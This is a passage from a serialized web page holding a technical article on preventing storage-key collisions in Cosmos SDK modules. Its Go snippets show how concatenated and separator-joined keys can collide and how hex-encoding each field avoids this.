username",{"type":21,"tag":198,"props":85643,"children":85644},{"style":211},[85645],{"type":27,"value":257},{"type":21,"tag":198,"props":85647,"children":85648},{"class":200,"line":281},[85649,85654],{"type":21,"tag":198,"props":85650,"children":85651},{"style":226},[85652],{"type":27,"value":85653}," positionName",{"type":21,"tag":198,"props":85655,"children":85656},{"style":211},[85657],{"type":27,"value":257},{"type":21,"tag":198,"props":85659,"children":85660},{"class":200,"line":302},[85661],{"type":21,"tag":198,"props":85662,"children":85663},{"style":211},[85664],{"type":27,"value":789},{"type":21,"tag":30,"props":85666,"children":85667},{},[85668],{"type":27,"value":85669},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":21,"tag":187,"props":85671,"children":85673},{"code":85672},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[85674],{"type":21,"tag":194,"props":85675,"children":85676},{"__ignoreMap":7},[85677],{"type":27,"value":85672},{"type":21,"tag":30,"props":85679,"children":85680},{},[85681,85686],{"type":21,"tag":1671,"props":85682,"children":85683},{},[85684],{"type":27,"value":85685},"So, how can we mitigate this issue?",{"type":27,"value":85687},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":21,"tag":187,"props":85689,"children":85691},{"code":85690,"language":76546,"meta":7,"className":76547,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[85692],{"type":21,"tag":194,"props":85693,"children":85694},{"__ignoreMap":7},[85695,85706,85723,85730,85737,85764,85776,85787,85798,85809,85820,85831],{"type":21,"tag":198,"props":85696,"children":85697},{"class":200,"line":201},[85698,85702],{"type":21,"tag":198,"props":85699,"children":85700},{"style":249},[85701],{"type":27,"value":2648},{"type":21,"tag":198,"props":85703,"children":85704},{"style":211},[85705],{"type":27,"value":78948},{"type":21,"tag":198,"props":85707,"children":85708},{"class":200,"line":217},[85709,85714,85718],{"type":21,"tag":198,"props":85710,"children":85711},{"style":226},[85712],{"type":27,"value":85713}," Seperator",{"type":21,"tag":198,"props":85715,"children":85716},{"style":683},[85717],{"type":27,"value":979},{"type":21,"tag":198,"props":85719,"children":85720},{"style":205},[85721],{"type":27,"value":85722}," \"|\"\n",{"type":21,"tag":198,"props":85724,"children":85725},{"class":200,"line":236},[85726],{"type":21,"tag":198,"props":85727,"children":85728},{"style":211},[85729],{"type":27,"value":789},{"type":21,"tag":198,"props":85731,"children":85732},{"class":200,"line":260},[85733],{"type":21,"tag":198,"props":85734,"children":85735},{"emptyLinePlaceholder":16},[85736],{"type":27,"value":1283},{"type":21,"tag":198,"props":85738,"children":85739},{"class":200,"line":281},[85740,85744,85748,85752,85756,85760],{"type":21,"tag":198,"props":85741,"children":85742},{"style":226},[85743],{"type":27,"value":85588},{"type":21,"tag":198,"props":85745,"children":85746},{"style":683},[85747],{"type":27,"value":76798},{"type":21,"tag":198,"props":85749,"children":85750},{"style":226},[85751],{"type":27,"value":82616},{"type":21,"tag":198,"props":85753,"children":85754},{"style":211},[85755],{"type":27,"value":658},{"type":21,"tag":198,"props":85757,"children":85758},{"style":698},[85759],{"type":27,"value":85605},{"type":21,"tag":198,"props":85761,"children":85762},{"style":211},[85763],{"type":27,"value":4268},{"type":21,"tag":198,"props":85765,"children":85766},{"class":200,"line":302},[85767,85772],{"type":21,"tag":198,"props":85768,"children":85769},{"style":205},[85770],{"type":27,"value":85771}," \"%d%s%s%s%s\"",{"type":21,"tag":198,"props":85773,"children":85774},{"style":211},[85775],{"type":27,"value":257},{"type":21,"tag":198,"props":85777,"children":85778},{"class":200,"line":323},[85779,85783],{"type":21,"tag":198,"props":85780,"children":85781},{"style":226},[85782],{"type":27,"value":85629},{"type":21,"tag":198,"props":85784,"children":85785},{"style":211},[85786],{"type":27,"value":257},{"type":21,"tag":198,"props":85788,"children":85789},{"class":200,"line":344},[85790,85794],{"type":21,"tag":198,"props":85791,"children":85792},{"style":226},[85793],{"type":27,"value":85713},{"type":21,"tag":198,"props":85795,"children":85796},{"style":211},[85797],{"type":27,"value":257},{"type":21,"tag":198,"props":85799,"children":85800},{"class":200,"line":365},[85801,85805],{"type":21,"tag":198,"props":85802,"children":85803},{"style":226},[85804],{"type":27,"value":85641},{"type":21,"tag":198,"props":85806,"children":85807},{"style":211},[85808],{"type":27,"value":257},{"type":21,"tag":198,"props":85810,"children":85811},{"class":200,"line":386},[85812,85816],{"type":21,"tag":198,"props":85813,"children":85814},{"style":226},[85815],{"type":27,"value":85713},{"type":21,"tag":198,"props":85817,"children":85818},{"style":211},[85819],{"type":27,"value":257},{"type":21,"tag":198,"props":85821,"children":85822},{"class":200,"line":408},[85823,85827],{"type":21,"tag":198,"props":85824,"children":85825},{"style":226},[85826],{"type":27,"value":85653},{"type":21,"tag":198,"props":85828,"children":85829},{"style":211},[85830],{"type":27,"value":257},{"type":21,"tag":198,"props":85832,"children":85833},{"class":200,"line":429},[85834],{"type":21,"tag":198,"props":85835,"children":85836},{"style":211},[85837],{"type":27,"value":789},{"type":21,"tag":30,"props":85839,"children":85840},{},[85841],{"type":27,"value":85842},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":21,"tag":30,"props":85844,"children":85845},{},[85846,85848,85854,85855,85861],{"type":27,"value":85847},"Sadly, it doesn't. Since the ",{"type":21,"tag":194,"props":85849,"children":85851},{"className":85850},[],[85852],{"type":27,"value":85853},"username",{"type":27,"value":11801},{"type":21,"tag":194,"props":85856,"children":85858},{"className":85857},[],[85859],{"type":27,"value":85860},"vaultName",{"type":27,"value":85862}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":21,"tag":187,"props":85864,"children":85866},{"code":85865},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[85867],{"type":21,"tag":194,"props":85868,"children":85869},{"__ignoreMap":7},[85870],{"type":27,"value":85865},{"type":21,"tag":30,"props":85872,"children":85873},{},[85874],{"type":27,"value":85875},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":21,"tag":187,"props":85877,"children":85879},{"code":85878,"language":76546,"meta":7,"className":76547,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[85880],{"type":21,"tag":194,"props":85881,"children":85882},{"__ignoreMap":7},[85883,85894,85909,85916,85923,85930,85951,85967,86005,86012,86049,86056,86076,86091,86127,86134,86169,86176,86203,86214,86225,86236,86248,86259,86267],{"type":21,"tag":198,"props":85884,"children":85885},{"class":200,"line":201},[85886,85890],{"type":21,"tag":198,"props":85887,"children":85888},{"style":249},[85889],{"type":27,"value":2648},{"type":21,"tag":198,"props":85891,"children":85892},{"style":211},[85893],{"type":27,"value":78948},{"type":21,"tag":198,"props":85895,"children":85896},{"class":200,"line":217},[85897,85901,85905],{"type":21,"tag":198,"props":85898,"children":85899},{"style":226},[85900],{"type":27,"value":85713},{"type":21,"tag":198,"props":85902,"children":85903},{"style":683},[85904],{"type":27,"value":979},{"type":21,"tag":198,"props":85906,"children":85907},{"style":205},[85908],{"type":27,"value":85722},{"type":21,"tag":198,"props":85910,"children":85911},{"class":200,"line":236},[85912],{"type":21,"tag":198,"props":85913,"children":85914},{"style":211},[85915],{"type":27,"value":789},{"type":21,"tag":198,"props":85917,"children":85918},{"class":200,"line":260},[85919],{"type":21,"tag":198,"props":85920,"children":85921},{"emptyLinePlaceholder":16},[85922],{"type":27,"value":1283},{"type":21,"tag":198,"props":85924,"children":85925},{"class":200,"line":281},[85926],{"type":21,"tag":198,"props":85927,"children":85928},{"emptyLinePlaceholder":16},[85929],{"type":27,"value":1283},{"type":21,"tag":198,"props":85931,"children":85932},{"class":200,"line":302},[85933,85938,85942,85947],{"type":21,"tag":198,"props":85934,"children":85935},{"style":226},[85936],{"type":27,"value":85937},"usernameEncoded",{"type":21,"tag":198,"props":85939,"children":85940},{"style":683},[85941],{"type":27,"value":76798},{"type":21,"tag":198,"props":85943,"children":85944},{"style":698},[85945],{"type":27,"value":85946}," make",{"type":21,"tag":198,"props":85948,"children":85949},{"style":211},[85950],{"type":27,"value":4268},{"type":21,"tag":198,"props":85952,"children":85953},{"class":200,"line":323},[85954,85959,85963],{"type":21,"tag":198,"props":85955,"children":85956},{"style":211},[85957],{"type":27,"value":85958}," []",{"type":21,"tag":198,"props":85960,"children":85961},{"style":1966},[85962],{"type":27,"value":85147},{"type":21,"tag":198,"props":85964,"children":85965},{"style":211},[85966],{"type":27,"value":257},{"type":21,"tag":198,"props":85968,"children":85969},{"class":200,"line":344},[85970,85975,85979,85984,85988,85992,85996,86000],{"type":21,"tag":198,"props":85971,"children":85972},{"style":226},[85973],{"type":27,"value":85974}," hex",{"type":21,"tag":198,"props":85976,"children":85977},{"style":211},[85978],{"type":27,"value":658},{"type":21,"tag":198,"props":85980,"children":85981},{"style":698},[85982],{"type":27,"value":85983},"EncodedLen",{"type":21,"tag":198,"props":85985,"children":85986},{"style":211},[85987],{"type":27,"value":706},{"type":21,"tag":198,"props":85989,"children":85990},{"style":698},[85991],{"type":27,"value":9950},{"type":21,"tag":198,"props":85993,"children":85994},{"style":211},[85995],{"type":27,"value":706},{"type":21,"tag":198,"props":85997,"children":85998},{"style":226},[85999],{"type":27,"value":85853},{"type":21,"tag":198,"props":86001,"children":86002},{"style":211},[86003],{"type":27,"value":86004},")),\n",{"type":21,"tag":198,"props":86006,"children":86007},{"class":200,"line":365},[86008],{"type":21,"tag":198,"props":86009,"children":86010},{"style":211},[86011],{"type":27,"value":789},{"type":21,"tag":198,"props":86013,"children":86014},{"class":200,"line":386},[86015,86020,86024,86029,86033,86037,86041,86045],{"type":21,"tag":198,"props":86016,"children":86017},{"style":226},[86018],{"type":27,"value":86019},"hex",{"type":21,"tag":198,"props":86021,"children":86022},{"style":211},[86023],{"type":27,"value":658},{"type":21,"tag":198,"props":86025,"children":86026},{"style":698},[86027],{"type":27,"value":86028},"Encode",{"type":21,"tag":198,"props":86030,"children":86031},{"style":211},[86032],{"type":27,"value":706},{"type":21,"tag":198,"props":86034,"children":86035},{"style":226},[86036],{"type":27,"value":85937},{"type":21,"tag":198,"props":86038,"children":86039},{"style":211},[86040],{"type":27,"value":828},{"type":21,"tag":198,"props":86042,"children":86043},{"style":226},[86044],{"type":27,"value":85853},{"type":21,"tag":198,"props":86046,"children":86047},{"style":211},[86048],{"type":27,"value":789},{"type":21,"tag":198,"props":86050,"children":86051},{"class":200,"line":408},[86052],{"type":21,"tag":198,"props":86053,"children":86054},{"emptyLinePlaceholder":16},[86055],{"type":27,"value":1283},{"type":21,"tag":198,"props":86057,"children":86058},{"class":200,"line":429},[86059,86064,86068,86072],{"type":21,"tag":198,"props":86060,"children":86061},{"style":226},[86062],{"type":27,"value":86063},"positionNameEncoded",{"type":21,"tag":198,"props":86065,"children":86066},{"style":683},[86067],{"type":27,"value":76798},{"type":21,"tag":198,"props":86069,"children":86070},{"style":698},[86071],{"type":27,"value":85946},{"type":21,"tag":198,"props":86073,"children":86074},{"style":211},[86075],{"type":27,"value":4268},{"type":21,"tag":198,"props":86077,"children":86078},{"class":200,"line":450},[86079,86083,86087],{"type":21,"tag":198,"props":86080,"children":86081},{"style":211},[86082],{"type":27,"value":85958},{"type":21,"tag":198,"props":86084,"children":86085},{"style":1966},[86086],{"type":27,"value":85147},{"type":21,"tag":198,"props":86088,"children":86089},{"style":211},[86090],{"type":27,"value":257},{"type":21,"tag":198,"props":86092,"children":86093},{"class":200,"line":468},[86094,86098,86102,86106,86110,86114,86118,86123],{"type":21,"tag":198,"props":86095,"children":86096},{"style":226},[86097],{"type":27,"value":85974},{"type":21,"tag":198,"props":86099,"children":86100},{"style":211},[86101],{"type":27,"value":658},{"type":21,"tag":198,"props":86103,"children":86104},{"style":698},[86105],{"type":27,"value":85983},{"type":21,"tag":198,"props":86107,"children":86108},{"style":211},[86109],{"type":27,"value":706},{"type":21,"tag":198,"props":86111,"children":86112},{"style":698},[86113],{"type":27,"value":9950},{"type":21,"tag":198,"props":86115,"children":86116},{"style":211},[86117],{"type":27,"value":706},{"type":21,"tag":198,"props":86119,"children":86120},{"style":226},[86121],{"type":27,"value":86122},"positionName",{"type":21,"tag":198,"props":86124,"children":86125},{"style":211},[86126],{"type":27,"value":86004},{"type":21,"tag":198,"props":86128,"children":86129},{"class":200,"line":477},[86130],{"type":21,"tag":198,"props":86131,"children":86132},{"style":211},[86133],{"type":27,"value":789},{"type":21,"tag":198,"props":86135,"children":86136},{"class":200,"line":494},[86137,86141,86145,86149,86153,86157,86161,86165],{"type":21,"tag":198,"props":86138,"children":86139},{"style":226},[86140],{"type":27,"value":86019},{"type":21,"tag":198,"props":86142,"children":86143},{"style":211},[86144],{"type":27,"value":658},{"type":21,"tag":198,"props":86146,"children":86147},{"style":698},[86148],{"type":27,"value":86028},{"type":21,"tag":198,"props":86150,"children":86151},{"style":211},[86152],{"type":27,"value":706},{"type":21,"tag":198,"props":86154,"children":86155},{"style":226},[86156],{"type":27,"value":86063},{"type":21,"tag":198,"props":86158,"children":86159},{"style":211},[86160],{"type":27,"value":828},{"type":21,"tag":198,"props":86162,"children":86163},{"style":226},[86164],{"type":27,"value":86122},{"type":21,"tag":198,"props":86166,"children":86167},{"style":211},[86168],{"type":27,"value":789},{"type":21,"tag":198,"props":86170,"children":86171},{"class":200,"line":515},[86172],{"type":21,"tag":198,"props":86173,"children":86174},{"emptyLinePlaceholder":16},[86175],{"type":27,"value":1283},{"type":21,"tag":198,"props":86177,"children":86178},{"class":200,"line":4484},[86179,86183,86187,86191,86195,86199],{"type":21,"tag":198,"props":86180,"children":86181},{"style":226},[86182],{"type":27,"value":85588},{"type":21,"tag":198,"props":86184,"children":86185},{"style":683},[86186],{"type":27,"value":76798},{"type":21,"tag":198,"props":86188,"children":86189},{"style":226},[86190],{"type":27,"value":82616},{"type":21,"tag":198,"props":86192,"children":86193},{"style":211},[86194],{"type":27,"value":658},{"type":21,"tag":198,"props":86196,"children":86197},{"style":698},[86198],{"type":27,"value":85605},{"type":21,"tag":198,"props":86200,"children":86201},{"style":211},[86202],{"type":27,"value":4268},{"type":21,"tag":198,"props":86204,"children":86205},{"class":200,"line":4493},[86206,86210],{"type":21,"tag":198,"props":86207,"children":86208},{"style":205},[86209],{"type":27,"value":85771},{"type":21,"tag":198,"props":86211,"children":86212},{"style":211},[86213],{"type":27,"value":257},{"type":21,"tag":198,"props":86215,"children":86216},{"class":200,"line":4561},[86217,86221],{"type":21,"tag":198,"props":86218,"children":86219},{"style":226},[86220],{"type":27,"value":85629},{"type":21,"tag":198,"props":86222,"children":86223},{"style":211},[86224],{"type":27,"value":257},{"type":21,"tag":198,"props":86226,"children":86227},{"class":200,"line":4569},[86228,86232],{"type":21,"tag":198,"props":86229,"children":86230},{"style":226},[86231],{"type":27,"value":85713},{"type":21,"tag":198,"props":86233,"children":86234},{"style":211},[86235],{"type":27,"value":257},{"type":21,"tag":198,"props":86237,"children":86238},{"class":200,"line":4599},[86239,86244],{"type":21,"tag":198,"props":86240,"children":86241},{"style":226},[86242],{"type":27,"value":86243}," usernameEncoded",{"type":21,"tag":198,"props":86245,"children":86246},{"style":211},[86247],{"type":27,"value":257},{"type":21,"tag":198,"props":86249,"children":86250},{"class":200,"line":4607},[86251,86255],{"type":21,"tag":198,"props":86252,"children":86253},{"style":226},[86254],{"type":27,"value":85713},{"type":21,"tag":198,"props":86256,"children":86257},{"style":211},[86258],{"type":27,"value":257},{"type":21,"tag":198,"props":86260,"children":86261},{"class":200,"line":4638},[86262],{"type":21,"tag":198,"props":86263,"children":86264},{"style":226},[86265],{"type":27,"value":86266}," positionNameEncoded\n",{"type":21,"tag":198,"props":86268,"children":86269},{"class":200,"line":4646},[86270],{"type":21,"tag":198,"props":86271,"children":86272},{"style":211},[86273],{"type":27,"value":789},{"type":21,"tag":30,"props":86275,"children":86276},{},[86277,86279,86284],{"type":27,"value":86278},"We did it. We finally eliminated all potential ",{"type":21,"tag":194,"props":86280,"children":86282},{"className":86281},[],[86283],{"type":27,"value":85588},{"type":27,"value":86285}," collisions.",{"type":21,"tag":30,"props":86287,"children":86288},{},[86289],{"type":27,"value":86290},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":21,"tag":30,"props":86292,"children":86293},{},[86294,86296,86302,86304,86309,86311,86316,86318,86323,86325,86331],{"type":27,"value":86295},"In the Cosmos framework, it is common for each ",{"type":21,"tag":194,"props":86297,"children":86299},{"className":86298},[],[86300],{"type":27,"value":86301},"Module",{"type":27,"value":86303}," to own a few ",{"type":21,"tag":194,"props":86305,"children":86307},{"className":86306},[],[86308],{"type":27,"value":85359},{"type":27,"value":86310}," and have individual ",{"type":21,"tag":194,"props":86312,"children":86314},{"className":86313},[],[86315],{"type":27,"value":80327},{"type":27,"value":86317},"s managing access to storages. It's also important to note that each ",{"type":21,"tag":194,"props":86319,"children":86321},{"className":86320},[],[86322],{"type":27,"value":85359},{"type":27,"value":86324}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":21,"tag":194,"props":86326,"children":86328},{"className":86327},[],[86329],{"type":27,"value":86330},"Modules",{"type":27,"value":658},{"type":21,"tag":30,"props":86333,"children":86334},{},[86335,86337,86342],{"type":27,"value":86336},"With that being said, what if we have to maintain more than one structure within the same ",{"type":21,"tag":194,"props":86338,"children":86340},{"className":86339},[],[86341],{"type":27,"value":85359},{"type":27,"value":2156},{"type":21,"tag":30,"props":86344,"children":86345},{},[86346,86348,86354,86356,86361],{"type":27,"value":86347},"To demonstrate this scenario, we introduce the ",{"type":21,"tag":194,"props":86349,"children":86351},{"className":86350},[],[86352],{"type":27,"value":86353},"NameToAddressMap",{"type":27,"value":86355}," structure, which will be stored in the same ",{"type":21,"tag":194,"props":86357,"children":86359},{"className":86358},[],[86360],{"type":27,"value":85359},{"type":27,"value":86362}," we previously used.",{"type":21,"tag":187,"props":86364,"children":86366},{"code":86365,"language":76546,"meta":7,"className":76547,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[86367],{"type":21,"tag":194,"props":86368,"children":86369},{"__ignoreMap":7},[86370,86385,86400,86407,86422,86441,86456,86463,86478,86533,86540,86556,86576,86591,86598,86614],{"type":21,"tag":198,"props":86371,"children":86372},{"class":200,"line":201},[86373,86377,86381],{"type":21,"tag":198,"props":86374,"children":86375},{"style":249},[86376],{"type":27,"value":33535},{"type":21,"tag":198,"props":86378,"children":86379},{"style":1966},[86380],{"type":27,"value":85405},{"type":21,"tag":198,"props":86382,"children":86383},{"style":1966},[86384],{"type":27,"value":76584},{"type":21,"tag":198,"props":86386,"children":86387},{"class":200,"line":217},[86388,86392,86396],{"type":21,"tag":198,"props":86389,"children":86390},{"style":249},[86391],{"type":27,"value":33535},{"type":21,"tag":198,"props":86393,"children":86394},{"style":1966},[86395],{"type":27,"value":85421},{"type":21,"tag":198,"props":86397,"children":86398},{"style":1966},[86399],{"type":27,"value":85426},{"type":21,"tag":198,"props":86401,"children":86402},{"class":200,"line":236},[86403],{"type":21,"tag":198,"props":86404,"children":86405},{"emptyLinePlaceholder":16},[86406],{"type":27,"value":1283},{"type":21,"tag":198,"props":86408,"children":86409},{"class":200,"line":260},[86410,86414,86418],{"type":21,"tag":198,"props":86411,"children":86412},{"style":249},[86413],{"type":27,"value":33535},{"type":21,"tag":198,"props":86415,"children":86416},{"style":1966},[86417],{"type":27,"value":85438},{"type":21,"tag":198,"props":86419,"children":86420},{"style":1966},[86421],{"type":27,"value":85426},{"type":21,"tag":198,"props":86423,"children":86424},{"class":200,"line":281},[86425,86429,86433,86437],{"type":21,"tag":198,"props":86426,"children":86427},{"style":249},[86428],{"type":27,"value":33535},{"type":21,"tag":198,"props":86430,"children":86431},{"style":1966},[86432],{"type":27,"value":8237},{"type":21,"tag":198,"props":86434,"children":86435},{"style":249},[86436],{"type":27,"value":21944},{"type":21,"tag":198,"props":86438,"children":86439},{"style":211},[86440],{"type":27,"value":233},{"type":21,"tag":198,"props":86442,"children":86443},{"class":200,"line":302},[86444,86448,86452],{"type":21,"tag":198,"props":86445,"children":86446},{"style":226},[86447],{"type":27,"value":43986},{"type":21,"tag":198,"props":86449,"children":86450},{"style":211},[86451],{"type":27,"value":76609},{"type":21,"tag":198,"props":86453,"children":86454},{"style":1966},[86455],{"type":27,"value":84610},{"type":21,"tag":198,"props":86457,"children":86458},{"class":200,"line":323},[86459],{"type":21,"tag":198,"props":86460,"children":86461},{"style":211},[86462],{"type":27,"value":1120},{"type":21,"tag":198,"props":86464,"children":86465},{"class":200,"line":344},[86466,86470,86474],{"type":21,"tag":198,"props":86467,"children":86468},{"style":249},[86469],{"type":27,"value":33535},{"type":21,"tag":198,"props":86471,"children":86472},{"style":1966},[86473],{"type":27,"value":85495},{"type":21,"tag":198,"props":86475,"children":86476},{"style":683},[86477],{"type":27,"value":85500},{"type":21,"tag":198,"props":86479,"children":86480},{"class":200,"line":365},[86481,86485,86489,86493,86497,86501,86505,86509,86513,86517,86521,86525,86529],{"type":21,"tag":198,"props":86482,"children":86483},{"style":249},[86484],{"type":27,"value":85508},{"type":21,"tag":198,"props":86486,"children":86487},{"style":211},[86488],{"type":27,"value":2051},{"type":21,"tag":198,"props":86490,"children":86491},{"style":1966},[86492],{"type":27,"value":85517},{"type":21,"tag":198,"props":86494,"children":86495},{"style":211},[86496],{"type":27,"value":2071},{"type":21,"tag":198,"props":86498,"children":86499},{"style":249},[86500],{"type":27,"value":67481},{"type":21,"tag":198,"props":86502,"children":86503},{"style":211},[86504],{"type":27,"value":2051},{"type":21,"tag":198,"props":86506,"children":86507},{"style":1966},[86508],{"type":27,"value":85534},{"type":21,"tag":198,"props":86510,"children":86511},{"style":211},[86512],{"type":27,"value":2071},{"type":21,"tag":198,"props":86514,"children":86515},{"style":249},[86516],{"type":27,"value":67481},{"type":21,"tag":198,"props":86518,"children":86519},{"style":211},[86520],{"type":27,"value":2051},{"type":21,"tag":198,"props":86522,"children":86523},{"style":1966},[86524],{"type":27,"value":85551},{"type":21,"tag":198,"props":86526,"children":86527},{"style":211},[86528],{"type":27,"value":2071},{"type":21,"tag":198,"props":86530,"children":86531},{"style":1966},[86532],{"type":27,"value":85560},{"type":21,"tag":198,"props":86534,"children":86535},{"class":200,"line":386},[86536],{"type":21,"tag":198,"props":86537,"children":86538},{"emptyLinePlaceholder":16},[86539],{"type":27,"value":1283},{"type":21,"tag":198,"props":86541,"children":86542},{"class":200,"line":408},[86543,86547,86552],{"type":21,"tag":198,"props":86544,"children":86545},{"style":249},[86546],{"type":27,"value":33535},{"type":21,"tag":198,"props":86548,"children":86549},{"style":1966},[86550],{"type":27,"value":86551}," AddressName",{"type":21,"tag":198,"props":86553,"children":86554},{"style":1966},[86555],{"type":27,"value":85426},{"type":21,"tag":198,"props":86557,"children":86558},{"class":200,"line":429},[86559,86563,86568,86572],{"type":21,"tag":198,"props":86560,"children":86561},{"style":249},[86562],{"type":27,"value":33535},{"type":21,"tag":198,"props":86564,"children":86565},{"style":1966},[86566],{"type":27,"value":86567}," Address",{"type":21,"tag":198,"props":86569,"children":86570},{"style":249},[86571],{"type":27,"value":21944},{"type":21,"tag":198,"props":86573,"children":86574},{"style":211},[86575],{"type":27,"value":233},{"type":21,"tag":198,"props":86577,"children":86578},{"class":200,"line":450},[86579,86583,86587],{"type":21,"tag":198,"props":86580,"children":86581},{"style":226},[86582],{"type":27,"value":15909},{"type":21,"tag":198,"props":86584,"children":86585},{"style":211},[86586],{"type":27,"value":76609},{"type":21,"tag":198,"props":86588,"children":86589},{"style":1966},[86590],{"type":27,"value":84610},{"type":21,"tag":198,"props":86592,"children":86593},{"class":200,"line":468},[86594],{"type":21,"tag":198,"props":86595,"children":86596},{"style":211},[86597],{"type":27,"value":1120},{"type":21,"tag":198,"props":86599,"children":86600},{"class":200,"line":477},[86601,86605,86610],{"type":21,"tag":198,"props":86602,"children":86603},{"style":249},[86604],{"type":27,"value":33535},{"type":21,"tag":198,"props":86606,"children":86607},{"style":1966},[86608],{"type":27,"value":86609}," AddressMap",{"type":21,"tag":198,"props":86611,"children":86612},{"style":683},[86613],{"type":27,"value":85500},{"type":21,"tag":198,"props":86615,"children":86616},{"class":200,"line":494},[86617,86621,86625,86629,86633,86637,86641,86645,86649,86653,86657,86662,86666],{"type":21,"tag":198,"props":86618,"children":86619},{"style":249},[86620],{"type":27,"value":85508},{"type":21,"tag":198,"props":86622,"children":86623},{"style":211},[86624],{"type":27,"value":2051},{"type":21,"tag":198,"props":86626,"children":86627},{"style":1966},[86628],{"type":27,"value":85517},{"type":21,"tag":198,"props":86630,"children":86631},{"style":211},[86632],{"type":27,"value":2071},{"type":21,"tag":198,"props":86634,"children":86635},{"style":249},[86636],{"type":27,"value":67481},{"type":21,"tag":198,"props":86638,"children":86639},{"style":211},[86640],{"type":27,"value":2051},{"type":21,"tag":198,"props":86642,"children":86643},{"style":1966},[86644],{"type":27,"value":85534},{"type":21,"tag":198,"props":86646,"children":86647},{"style":211},[86648],{"type":27,"value":2071},{"type":21,"tag":198,"props":86650,"children":86651},{"style":249},[86652],{"type":27,"value":67481},{"type":21,"tag":198,"props":86654,"children":86655},{"style":211},[86656],{"type":27,"value":2051},{"type":21,"tag":198,"props":86658,"children":86659},{"style":1966},[86660],{"type":27,"value":86661},"AddressName",{"type":21,"tag":198,"props":86663,"children":86664},{"style":211},[86665],{"type":27,"value":2071},{"type":21,"tag":198,"props":86667,"children":86668},{"style":1966},[86669],{"type":27,"value":86670},"Address\n",{"type":21,"tag":30,"props":86672,"children":86673},{},[86674],{"type":27,"value":86675},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":21,"tag":187,"props":86677,"children":86679},{"code":86678,"language":76546,"meta":7,"className":76547,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[86680],{"type":21,"tag":194,"props":86681,"children":86682},{"__ignoreMap":7},[86683,86694,86709,86716,86723,86730,86746,86761,86788,86811,86830,86846,86882,86889,86924,86931,86951,86966,87001,87008,87043,87050,87078,87090,87102,87114,87126,87137,87149,87156,87163,87170,87177,87193,87208,87232,87255,87274,87289,87324,87331,87366,87373,87393,87408,87443,87450,87486,87493,87520,87531,87542,87553,87564,87575,87587,87594],{"type":21,"tag":198,"props":86684,"children":86685},{"class":200,"line":201},[86686,86690],{"type":21,"tag":198,"props":86687,"children":86688},{"style":249},[86689],{"type":27,"value":2648},{"type":21,"tag":198,"props":86691,"children":86692},{"style":211},[86693],{"type":27,"value":78948},{"type":21,"tag":198,"props":86695,"children":86696},{"class":200,"line":217},[86697,86701,86705],{"type":21,"tag":198,"props":86698,"children":86699},{"style":226},[86700],{"type":27,"value":85713},{"type":21,"tag":198,"props":86702,"children":86703},{"style":683},[86704],{"type":27,"value":979},{"type":21,"tag":198,"props":86706,"children":86707},{"style":205},[86708],{"type":27,"value":85722},{"type":21,"tag":198,"props":86710,"children":86711},{"class":200,"line":236},[86712],{"type":21,"tag":198,"props":86713,"children":86714},{"style":211},[86715],{"type":27,"value":789},{"type":21,"tag":198,"props":86717,"children":86718},{"class":200,"line":260},[86719],{"type":21,"tag":198,"props":86720,"children":86721},{"emptyLinePlaceholder":16},[86722],{"type":27,"value":1283},{"type":21,"tag":198,"props":86724,"children":86725},{"class":200,"line":281},[86726],{"type":21,"tag":198,"props":86727,"children":86728},{"emptyLinePlaceholder":16},[86729],{"type":27,"value":1283},{"type":21,"tag":198,"props":86731,"children":86732},{"class":200,"line":302},[86733,86737,86742],{"type":21,"tag":198,"props":86734,"children":86735},{"style":249},[86736],{"type":27,"value":76682},{"type":21,"tag":198,"props":86738,"children":86739},{"style":698},[86740],{"type":27,"value":86741}," 